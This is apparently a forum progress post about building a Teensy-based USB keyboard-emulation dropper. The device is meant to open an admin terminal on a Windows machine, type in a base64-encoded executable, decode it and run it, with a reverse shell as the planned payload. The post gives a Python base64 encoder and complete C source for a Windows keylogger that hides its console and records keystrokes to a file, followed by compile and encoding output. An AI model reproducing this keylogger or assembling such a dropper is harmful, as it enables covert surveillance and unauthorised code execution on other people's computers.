So I've had this project on the back-burner for a while; I've completely dissected existing work related and I am now in the final stages of creating something that has been tailored to my purpose. I'm aware that Kulver has a similar project he has done so I'm excited to finish this thing up and see what you guys think.
Objectively I'm trying to run software on a machine using physical access and automation of the Teensy's usb-hid functions(acting like a keyboard/mouse). I'm not using an sdcard for storage as my intended payload(for now) should not reach above the limitations of the Teensy.
When the Teensy is plugged in it will:
- start a terminal with admin privileges
- type out the stored encoding and save it to a file
- type out a decode script(vbscript or powershell) that takes a file for the first
argument, and for the second argument the name for the decoded binary
- run the decode script on the encoded text file(which will generate the .exe)
- run the .exe, exit terminal
I'm going to use a reverse-shell for now, as the Teensy 3.0 only has ~131k of storage in flash(which means I can only store ~131,000 characters, minus what the teensy's program code takes up). When storing large arrays of text(encoded bytes) on a micro-controller you want to store those in flashmem(this will happen at runtime) rather than in static RAM where all the other program variables and manipulation happens.
The reason for this is that static RAM is only about 16k. If you want an example of how much a binary could potentially take up, let's run my encoder script on let's say 'notepad.exe'.
#!/usr/bin/env python
##
### ascii-encode.py - ascii encode a binary file
##
#
import base64,sys
def banner():
print " ascii-encode.py - ascii encode a binary file"
print " usage: python ascii-encode.py <filename>"
print ""
def main():
if len(sys.argv) < 2:
banner()
exit()
filename = sys.argv[1]
try:
inFile = open(filename, "rb")
except IOError:
banner()
print "[!] Error: no such file or directory"
exit()
banner()
data = inFile.read()
inFile.close()
encoded = base64.b64encode(data)
print "[+] " + str(len(encoded)) + " bytes encoded"
print "[-] Writing file 'encoded.txt'.."
outFile = open("encoded.txt", "w")
outFile.write(encoded)
outFile.close()
print "[+] Done"
exit()
if __name__ == "__main__":
main()
C:\Users\frog\Desktop>python ascii-encode.py c:\windows\notepad.exe
ascii-encode.py - ascii encode a binary file
usage: python ascii-encode.py <filename>
[+] 258048 bytes encoded
[-] Writing file 'encoded.txt'..
[+] Done
Just over 258k bytes. That's pretty big for a 'smaller' application like notepad.exe, and especially big for storing in the Teensy's flash memory. In retrospect, a reverse-shell will be significantly smaller in size. Take this very basic keylogger coded in C:
// Filename: keylogger.c
// Purpose: basic keylogger
#include <stdio.h>
#include <windows.h>
int main() {
short i;
short keyState;
HWND hidden;
AllocConsole();
hidden = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(hidden, 0);
while(1) {
for(i = 0; i <= 255; i++) {
keyState = GetAsyncKeyState(i);
if(keyState == -32767) {
Sleep(30);
FILE *file;
file = fopen("c:/users/frog/desktop/test.txt", "a+");
if(file == NULL) {
printf("Error creating file.\n");
exit(1);
}
switch(i) {
case VK_SPACE:
fputc(' ', file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n", file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fputc(i, file);
fclose(file);
}
}
}
}
return 0;
}
C:\Users\frog\Desktop>gcc keylogger.c -o keylogger.exe
C:\Users\frog\Desktop>python ascii-encode.py keylogger.exe
ascii-encode.py - ascii encode a binary file
usage: python ascii-encode.py <filename>
[+] 43640 bytes encoded
[-] Writing file 'encoded.txt'..
[+] Done
Almost 44k bytes. I imagine a reverse-shell would be less in size. So that gives us ~87k bytes more to play with. Not bad.
This is my current progress. My current step is to create yet another python script that will take the encoded text created by ascii-encode.py and and arrange the text into 80-character arrays that the compiler will flag for storage into flash memory during runtime. This is done using PROGMEM variables. I need a shit load of PROGMEM arrays, in a particular syntax for the gcc-avr compiler to store these variables into flash. The convention is as follows:
prog_uchar binaryStore[] PROGMEM = {"some text"};
I have tried throwing all of the encoding into one PROGMEM array and the compiler basically tells me to go fuck myself. However, I have found through trial and error that you can load about 80-100 characters into one PROGMEM character array and get away with it. So this makes coding a little bit more painful but I can manage it.
So the TODO list:
- create translator to convert encoded text -> to -> compiler friendly arrays of text
- create program code for the Teensy(the dropper), with adaptive code to read all
PROGMEM arrays generated regardless of their size or quantity.
- create new payloads
I will log progress using this thread.